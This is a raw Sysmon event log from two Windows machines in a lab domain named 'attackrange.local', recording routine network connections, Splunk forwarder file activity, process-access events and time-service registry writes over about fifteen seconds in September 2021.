Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A31C03DCCBD16ADF8874106DD5EABEB1,SHA256=578127B3A62A5ACBED34EDCF5C31442269DA165DBE70B66314B4E0ED87D93F57,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000051918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:55.356{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59606-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000051917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:55.259{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.14win-dc-387.attackrange.local59605-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000051916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:55.259{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59605-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000051915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:55.243{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59604-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000051914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:55.243{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59604-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000016661Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:55.345{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50305-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000016663Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:58.617{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E075BC734FE309572F86DA3F0DDEFA6A,SHA256=D921941E00EE6C66ABE2A6E6ABFAB4A1B99E0E33AF826D60F1D978E9DC769791,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:56.535{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59607-false10.0.1.12-8000- 23542300x800000000000000051921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:58.664{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B72973177C9C5703CA51121889A3C94E,SHA256=F2C324CA571BA202C70A07DB35CE5FAAEAFFBA825B4B4ECE055CCF3626DE1577,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016664Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:59.664{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8B5AAEE6D0FB9FEDAA1762A5496090F9,SHA256=EF87F6ADA8D4597A9A69597D2DBF35DC2264028BE95F546B306475F95E7B2BE1,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:57.652{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59608-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000051925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:57.652{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59608-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000051924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:59.679{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E12BED476635727EDD466BC6C5719DC6,SHA256=902C0E9F62F6EDADAFB8E247B07F116B76851675F0EB4364421618C2EDD1641D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:59.364{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FFBAFB4F9F6F820258417B3BDF128DB4,SHA256=18AF0E0D162DA6651559B6A3A3F4D270ED4F95FFBC07ECC087F1894BB2F9D6D1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016666Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:00.664{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D549BAF97ECD7C22EDD98315954AFDE0,SHA256=B0F4751B641F167C08B4C2BE007778391785B9946218E0D742979CF4EE4B767B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:00.698{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9E2A2D0F95DC054591C48921D6C500CE,SHA256=D98BF3DA6AB7FC4633FFC0B4136351E92F5F6FF77FE6F31F8F40D6B7D2B78602,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016665Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:58.564{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50306-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000051928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:01.732{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F94417E704569390E2FBE831BD5F459,SHA256=DEE69FB8920732BC4EDA7A380D61B92371F418F942DA6A5F30651F834FDD80AE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016667Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:01.711{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CCC47F756FCFA41DEAF6F10D3CF45AA6,SHA256=DED6D0E97B8FE4749C7A21ED2CE8B2328BB9E71F773EBDA464ED452F8E809E15,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016669Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:02.773{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B608AAD464A6CC6F48345400C0F681FF,SHA256=5CCB3CD1F8A784E70E695405D20CAADE2B0134DFD7E5425F21DE75433E5974F9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:02.764{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DBC0F8AF721A053BD621CA937F12A476,SHA256=3435BE22A7DBBC6706A28B8897214A410F3CA86E52F23FE7705287563EBB0C1F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016668Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:02.305{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=A445AC5F1B59AC0FE527D5A78FEDA6DE,SHA256=F40CDB53E98D4891235C1D831C0159A2EE2B251E95942251F2E1D65F78A670BA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016670Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:03.805{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF21D2F3854F658D4924949E2EFEA22E,SHA256=E0B85A13C26348042BD5B065AC13C0AFD07C59DF94C09F57A43E2B2C025DB016,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:03.779{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37A089F9C02E0FCFC7D58968E323B220,SHA256=51E9925A8CAD3944C820BF1E862603CCD92024A88957D979A7DA982D830C5F13,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000051930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:00:03.080{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a654-0x88a69c9f) 10341000x800000000000000016674Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:04.852{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016673Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:04.852{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016672Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:04.852{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000016671Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:04.836{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=29C35AD090AC8B36423DCD0519D506FC,SHA256=BF9F6C5F0133EB6CABA22896B42A486EDAF2B68583041C6A7D697C9C30CEB171,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:04.800{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D61221D07B1758BF1704A77BDE36368A,SHA256=6F8EDD875898C55AE8216776247C491EFC4AAEB66DEA7E30B34D64C46CC1172B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016676Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:05.852{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EDD16B7618D21609204AAD3B9B392E91,SHA256=283B394E7579BA12CBED9B1C50DD7049F38F4E324D43ABD20CA2889E68385DC4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:05.832{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=68332B65F334EA9DD33414A492573A3E,SHA256=CD3B102820C2F100CEBBAD20472232D784A55D15ADBF1C4462FDA3CE8E982302,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016675Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:04.470{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50307-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 354300x800000000000000051933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:02.498{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59609-false10.0.1.12-8000- 23542300x800000000000000051935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:06.878{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4DAFC06193E51EA946B66EE9EA3932B2,SHA256=6E728936D296590C4C922A4707298545E0BED6C468D38FF4AD549C058766ECE9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016677Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:06.914{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=44A904BF04BEB8F67F7F0E3E4DCA9D27,SHA256=BC59E38FED92BE4583ECEDF823A69215410794FF780BB8FC90E370C120F00246,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:07.915{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=554F4C02068402216FDC73F3D7D0F017,SHA256=79503BB80E92DA795DB6FF641DE332BF72B5988BCEDCA9FE90FA53A2188A2C5F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016678Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:07.930{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EF7F896D9FE78107A0E9786E4DA4E7D,SHA256=AC5BC4D03EEE68CCF4F841E66EE2C35504EA4F030D9CBA6200412A176564AD38,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:07.846{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=114FA45926F546C12635F8E7653D937F,SHA256=3324DEE3BFCF601C5253F484FC3B3265DA7152FEDD0A66EBD18DE7ED653F8B2A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:07.846{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1090F231C0C76BFD9A68F55964F09091,SHA256=1BDD2973543F778F8205A4A07FF9761DD2CCC6B0FB9D4680991E3F58EE060F65,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016679Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:08.945{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=15065F17DFC1BDE527B1CA54ECB4D2E3,SHA256=350D966DECC8E39929B4875850D107ECCE448A6AD9297B42D2EF5F8726FD8D68,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:08.961{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B2272A0B192AF4FC5988B7E0A0B6FD74,SHA256=AFFDA99D6CEEB0FD8A54EB89592E930CA991A652BBD63B43D58D5FD595F30BE8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016680Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:09.961{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=119FB6B62225E86F19A652F1717F8459,SHA256=0F4663CC199B2EED398371809115D2B5AD82606D5463DA133785E8726077B816,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:09.996{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=77911BEC1F8F5C8B84C75FE77B1A9075,SHA256=C656BF18D6F793191EE9F10C57170A2BFFD80C5007FCEB1FA021CE190E13EB3D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:09.479{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-054MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016682Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:10.977{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F3CA3BD8AAE820CC6C60744CDC0FF64B,SHA256=5CC843012B500DE5885BE18E969AF7EBF5E502960C6FB8AC3389EC52087B38F8,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000016681Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:00:10.117{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a654-0x8cd8719c) 23542300x800000000000000051942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:10.479{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-055MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016684Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:11.981{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A286B7D9C7A3F9EAA44C59F3C12C4A06,SHA256=68F642AF9444FA5826CD3C8C78766BA1A1848D783143B3DB1B7AF259CF47ED65,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:08.396{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59610-false10.0.1.12-8000- 23542300x800000000000000051943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:11.018{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4316A55CEF8360ADE1287EC5DDCFEA24,SHA256=2B7043B96A700772B073BA89B7143671A0D3D42C9F6A6BB4B8621FA0E3410AA5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016683Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:09.564{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50308-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 